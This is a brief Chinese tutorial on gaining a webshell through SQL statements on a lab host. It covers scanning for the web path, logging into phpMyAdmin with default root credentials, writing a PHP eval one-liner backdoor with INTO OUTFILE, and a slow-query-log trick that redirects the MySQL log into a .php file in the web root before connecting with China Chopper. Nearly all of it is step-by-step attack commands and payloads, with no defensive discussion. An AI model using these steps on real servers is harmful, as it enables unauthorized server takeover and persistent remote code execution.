小课堂 -- 利用sql语句写入shell

目标ip：192.168.52.143

一、御剑扫描该地址

获取到重要信息：

1、网站的绝对路径

2、phpmyadmin，并且是默认账号密码：root

二、登录数据口后台，写入一句话木马

select '<?php eval（$_POST[x]);?>' into outfile 'c:/phpstudy/www/xx.php'

执行的时候报错

解决方法：

1、设置slow_query_log=1 启用慢查询日志。

2、修改slow_query_log_file日志文件的绝对路径以及文件名

set global slow_query_log_file='c:/phpstudy/www/xx.php'

3、向日志文件写入一句话

select '<?php eval（$_POST[x]);?>' or sleep(11)

三、用菜刀链接